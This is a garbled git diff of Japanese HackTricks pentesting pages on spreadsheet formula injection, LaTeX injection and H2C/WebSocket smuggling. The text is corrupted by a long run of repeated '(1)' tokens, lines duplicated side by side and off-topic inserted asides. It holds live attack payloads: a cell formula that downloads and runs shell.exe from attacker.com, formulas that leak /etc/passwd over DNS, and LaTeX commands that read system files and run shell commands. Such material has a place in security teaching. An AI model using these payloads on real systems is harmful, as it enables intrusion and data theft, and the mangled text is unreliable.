(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1 ![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
```bash ```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
``` ```
@ -84,7 +92,7 @@ DDE ("cmd";"/C calc";"!A0")A0
* MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) サブストリングに似ていますが、1文字目から41文字目までのデータを読み取ります。これはDNSホスト名の長さを制限する非常に便利な方法ですFQDNの文字数制限は254文字であり、ラベルサブドメインの文字数制限は63文字です * MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) サブストリングに似ていますが、1文字目から41文字目までのデータを読み取ります。これはDNSホスト名の長さを制限する非常に便利な方法ですFQDNの文字数制限は254文字であり、ラベルサブドメインの文字数制限は63文字です
* SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) %URLエンコードの特殊文字のすべてのインスタンスをダッシュに置き換えます。これにより、有効なDNS文字のみが使用されることが保証されます * SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) %URLエンコードの特殊文字のすべてのインスタンスをダッシュに置き換えます。これにより、有効なDNS文字のみが使用されることが保証されます
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) ファイルからの出力上記の処理が行われた後をFQDNと連結しますドメインの権限を持つホストにアクセスできる * CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) ファイルからの出力上記の処理が行われた後をFQDNと連結しますドメインの権限を持つホストにアクセスできる
* WEBSERVICE この存在しないDNS名に対してリクエストを行い、その後、DNSの権威あるサーバー上のログを解析したりまたはtcpdumpなどを実行したりします。この名前サーバーは私たちが制御しています * WEBSERVICE この存在しないDNS名に対してリクエストを行い、その後、DNSの権威名サーバー上のログを解析したりまたはtcpdumpなどを実行したりします。このサーバーは私たちが制御しています
### Google Sheets OOBデータエクスフィルト ### Google Sheets OOBデータエクスフィルト
@ -117,7 +125,7 @@ DDE ("cmd";"/C calc";"!A0")A0
## LaTeXインジェクション ## LaTeXインジェクション
通常、インターネット上で見つけることができるLaTeXコードをPDFに変換するサーバーは、**`pdflatex`**を使用しています。\ 通常、インターネット上で見つけることができるLaTeXコードをPDFに変換するサーバーは、**`pdflatex`**を使用しています。\
このプログラムは、コマンドの実行を無効に許可するために3つの主な属性を使用します このプログラムは、コマンドの実行を無効に許可するために3つの主な属性を使用します:
* **`--no-shell-escape`**`\write18{command}`構文を無効にします。texmf.cnfファイルで有効になっていても無効にします。 * **`--no-shell-escape`**`\write18{command}`構文を無効にします。texmf.cnfファイルで有効になっていても無効にします。
* **`--shell-restricted`**`--shell-escape`と同じですが、'安全な'事前定義のコマンドのセットに**制限**されますUbuntu 16.04では、リストは`/usr/share/texmf/web2c/texmf.cnf`にあります)。 * **`--shell-restricted`**`--shell-escape`と同じですが、'安全な'事前定義のコマンドのセットに**制限**されますUbuntu 16.04では、リストは`/usr/share/texmf/web2c/texmf.cnf`にあります)。
@ -144,9 +152,17 @@ DDE ("cmd";"/C calc";"!A0")A0
</form> </form>
``` ```
このフォームは、指定されたファイルを読み取るために使用されます。`action`属性は、フォームが送信されたときにデータを送信するURLを指定します。`method`属性は、データの送信方法を指定しますこの場合はPOST。`input`要素の`type`属性が`text`であるため、ユーザーはテキストボックスにファイルパスを入力することができます。`name`属性は、テキストボックスの値を識別するために使用されます。`value`属性は、テキストボックスの初期値を設定します。 このフォームは、指定されたファイルを読み取るために使用されます。`action`属性は、フォームが送信されたときにデータを送信するURLを指定します。`method`属性は、データの送信方法を指定しますこの場合はPOST。`input`要素の`name`属性は、送信されるデータの名前を指定します。`value`属性は、デフォルトのファイルパスを指定します。
このフォームを使用する際には、適切なファイルパスを入力する必要があります。悪意のあるユーザーがファイルシステムの機密情報にアクセスするために、不正なファイルパスを入力する可能性があります。フォームのバックエンド処理は、入力されたファイルパスを適切に検証し、セキュリティ上のリスクを最小限に抑える必要があります。 攻撃者は、このフォームを使用して、`/etc/passwd`ファイルなどの機密情報を読み取ることができます。攻撃者は、`file`パラメータに悪意のある入力を提供することで、ファイルのパスを変更できます。これにより、攻撃者はシステム上の他のファイルを読み取ることができます。
この脆弱性を悪用するために、攻撃者は`file`パラメータに次のような入力を提供します。
```
/etc/passwd
```
攻撃者がこの入力を送信すると、サーバーは`/etc/passwd`ファイルを読み取り、その内容を返します。攻撃者は、この情報を使用して、システム上のユーザー名やパスワードなどの機密情報を取得することができます。
```bash ```bash
\newread\file \newread\file
\openin\file=/etc/issue \openin\file=/etc/issue
@ -161,12 +177,12 @@ To read a file that contains multiple lines, you can use the following command:
複数行を含むファイルを読むには、次のコマンドを使用します。 複数行を含むファイルを読むには、次のコマンドを使用します。
```bash ```bash
cat filename.txt cat filename
``` ```
This command will display the contents of the file `filename.txt` on the terminal. Replace `filename` with the name of the file you want to read.
このコマンドは、`filename.txt` ファイルの内容をターミナルに表示します `filename` の部分を読みたいファイルの名前に置き換えてください
```bash ```bash
\newread\file \newread\file
\openin\file=/etc/passwd \openin\file=/etc/passwd
@ -208,7 +224,7 @@ This command will display the contents of the file `filename.txt` on the termina
## Get the value of shell_escape_commands without needing to read pdfetex.ini ## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
``` ```
もしLaTexエラーが発生した場合は、ベース64を使用して悪意のある文字を含まない結果を得ることを検討してください。 もしLaTexエラーが発生した場合は、ベース64を使用して悪意のある文字を含まない結果を得ることを検討してください。
```bash ```bash
\immediate\write18{env | base64 > test.tex} \immediate\write18{env | base64 > test.tex}
\input{text.tex} \input{text.tex}
@ -232,14 +248,21 @@ This command will display the contents of the file `filename.txt` on the termina
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -1,120 +1,10 @@
# ヘッダースマグリングのアップグレード # アップグレードヘッダースマグリング
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details>
## H2Cスマグリング <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
### クリアテキスト上のHTTP2H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
通常、HTTP接続は単一のリクエストの期間だけ続きます。しかし、H2Cまたは「**クリアテキスト上のhttp2**」は、通常の一時的なhttp接続をアップグレードして、平文のhttpプロトコルではなく、**http2バイナリプロトコルを使用して連続的に通信する永続接続**を作成します。
スマグリングの2番目の部分は、**リバースプロキシが使用される**場合に発生します。通常、httpリクエストがリバースプロキシに送信されると、プロキシはリクエストを処理し、一連のルーティングルールを処理してからバックエンドにリクエストを転送し、応答を返します。httpリクエストに`Connection: Upgrade`ヘッダーが含まれる場合websocket接続など、リバースプロキシはクライアントとサーバーの間の**永続接続を維持**し、これらのプロトコルに必要な連続的な通信を可能にします。H2C接続の場合、RFCでは3つのヘッダーが必要です
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
バグはどこにあるのでしょうか?**接続をアップグレードすると、リバースプロキシは個々のリクエストの処理を停止**し、接続が確立されたら、そのルーティングの役割は終了したと仮定します。H2Cスマグリングを使用すると、H2C接続を最初に確立できれば、リバースプロキシがリクエストの処理時に使用するルールパスベースのルーティング、認証、WAF処理などをバイパスできます。
![](<../.gitbook/assets/image (454).png>)
### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a>
脆弱性の説明からわかるように、プロキシサーバーは**Upgradeヘッダーを転送する必要があり**、**Connectionヘッダー**も正常に転送する必要がある場合があります。
デフォルトでは、次のサービスはプロキシパス中に**Upgrade**と**Connectionヘッダーを転送**し、h2cスマグリングをすぐに有効にします。
- HAProxy
- Traefik
- Nuster
デフォルトでは、これらのサービスはプロキシパス中にUpgradeとConnectionヘッダーの両方を転送しませんが、**フィルタリングされていないUpgradeとConnectionヘッダーを渡すことで安全でない方法で設定できます**。
- AWS ALB/CLB
- NGINX
- Apache
- Squid
- Varnish
- Kong
- Envoy
- Apache Traffic Server
### 攻撃 <a href="#exploitation" id="exploitation"></a>
元のブログ記事では、準拠したH2C接続のために必要なヘッダーをすべてのサーバーが転送しないことがわかりました。これは、AWS ALB/CLB、NGINX、Apache Traffic ServerなどのロードバランサーはデフォルトではH2C接続を防ぎます。しかし、ブログ記事の最後で、彼は「すべてのバックエンドが準拠していないため、`Connection: Upgrade`バリアントでテストできることに注意しています。この場合、`Connection`ヘッダーから`HTTP2-Settings`の値が省略されます。」
{% hint style="danger" %}
`proxy_pass` URLプロキシが接続を転送するエンドポイントが`http://backend:9999/socket.io`などの特定の**パス**を指していたとしても、接続は`http://backend:9999`と確立されるため、このテクニックを悪用してその内部エンドポイント内の他のパスにアクセスできます。したがって、proxy_passのURLにパスが指定されているかどうかは重要ではありません。
{% endhint %}
[**https://github.com/BishopFox/h2csmuggler**](https://github.com/BishopFox/h2csmuggler) **および** [**https://github.com/assetnote/h2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールを使用して、H2C接続を確立し、プロキシで保護されたリソースにアクセスするためにプロキシが課す保護を**回避**することができます。
[**Nginxのこの脆弱性に関する詳細情報については、こちらのリンクを参照してください**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)。
## Websocketスマグリング
前のテクニックと同様に、これは**HTTP2トンネル**をプロキシ経由でアクセス可能なエンドポイントに作成する代わりに、**同じ目的のためにWebsocketトンネル**を作成し、潜在的なプロキシの制限をバイパスし、エンドポイントに直接アクセスします。
![](<../.gitbook/assets/image (651) (2) (1).png>)
### シナリオ1
バックエンドには公開された**WebSocket API**と、外部からは利用できない**内部REST API**が公開されています。悪意のあるクライアントは内部REST APIにアクセスしたいと考えています。
**最初の**ステップでは、クライアントは**Upgradeリクエスト**をリバースプロキシに送信しますが、ヘッダー`Sec-WebSocket-Version`内に**間違ったプロトコルバージョン**を含めます。**プロキシ**は`Sec-WebSocket-Version`ヘッダーを検証せず、**Upgradeリクエストが正しい**と思います。さらに、リクエストをバックエンドに変換します。
**2番目の**ステップでは、バックエンドは**ステータスコード`426`のレスポンスを送信します**(プロトコルバージョンが正しくないため)。しかし、**リバースプロキシは**バックエンドからの応答(ステータスコードを含む)を**十分にチェックせず**、**バックエンドがWebSocket通信の準備ができていると思い込みます**。さらに、リクエストをクライアントに変換します。
最終的に、リバース**プロキシは**クライアントとバックエンドの間に**WebSocket接続が確立されたと思います**。実際にはWebSocket接続は存在しません-バックエンドはUpgradeリクエストを拒否しました。同時に、プロキシはクライアントとバックエンドの間のTCPまたはTLS接続を開いたままにします。**クライアントはこの接続を介して簡単にプライベートREST APIにアクセスできます。**
![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
次のリバースプロキシが影響を受けることがわかりました。
- Varnish - チームは説明された問題を修正することを拒否しました。
- Envoy proxy 1.8.0(またはそれ以前)- 新しいバージョンではアップグレードメカニズムが変更されました。
- その他 - TBA。
### シナリオ2
ほとんどのリバースプロキシNGINXは、ハンドシェイクの一部でバックエンドからのステータスコードを**チェック**します。これにより、攻撃は難しくなりますが、不可能ではありません。
2番目のシナリオを見てみましょう。バックエンドには公開されたWebSocket APIと、外部からは利用できない**内部REST API**が公開されています。悪意のあるクライアントは内部REST APIにアクセスしたいと考えています。リバースプロキシとしてNGINXが使用されています。WebSocket APIはパス`/api/socket.io/`で利用可能で、ヘルスチェックAPIはパス`/api/health`で利用可能です。
ヘルスチェックAPIは、POSTリクエストを送信して呼び出され、名前が`u`のパラメータがURLを制御します。バックエンドは外部リソースに到達し、ステータスコードをクライアントに返します。
**最初の**ステップでは、クライアントは**ヘルスチェックAPIを呼び出すためのPOSTリクエストを送信しますが、追加のHTTPヘッダー`Upgrade: websocket`を含めます**。NGINXはこれを**通常のUpgradeリクエスト**と見なし、リクエストの他の部分をスキップして`Upgrade`ヘッダーのみを確認します。さらに、プロキシはリクエストをバックエンドに変換します。
**2番目の**ステップでは、バックエンドはヘルスチェックAPIを呼び出します。悪意のあるユーザーが制御する外部リソースに到達し、HTTP **ステータスコード`101`のレスポンスを返します**。バックエンドはその応答をリバースプ
### ラボ
両方のシナリオをテストするために、[https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)のラボをチェックしてください。
## 参考文献
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
@ -125,3 +15,128 @@ Connection: Upgrade, HTTP2-Settings
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## H2Cスマグリング <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
### クリアテキスト上のHTTP2H2C<a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
通常、HTTP接続は単一のリクエストの期間だけ続きます。しかし、H2Cまたは「**クリアテキスト上のhttp2**」は、通常の一時的なhttp接続をアップグレードして、平文のhttpプロトコルではなく、**http2バイナリプロトコルを使用して連続的に通信する永続接続**を作成します。
スマグリングの2番目の部分は、**リバースプロキシが使用される**場合に発生します。通常、httpリクエストがリバースプロキシに送信されると、プロキシはリクエストを処理し、一連のルーティングルールを処理してからバックエンドにリクエストを転送し、応答を返します。httpリクエストに`Connection: Upgrade`ヘッダーが含まれる場合websocket接続など、リバースプロキシはクライアントとサーバー間の**永続接続を維持**し、これらのプロトコルに必要な連続的な通信を可能にします。H2C接続の場合、RFCでは3つのヘッダーが存在することが要求されます
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
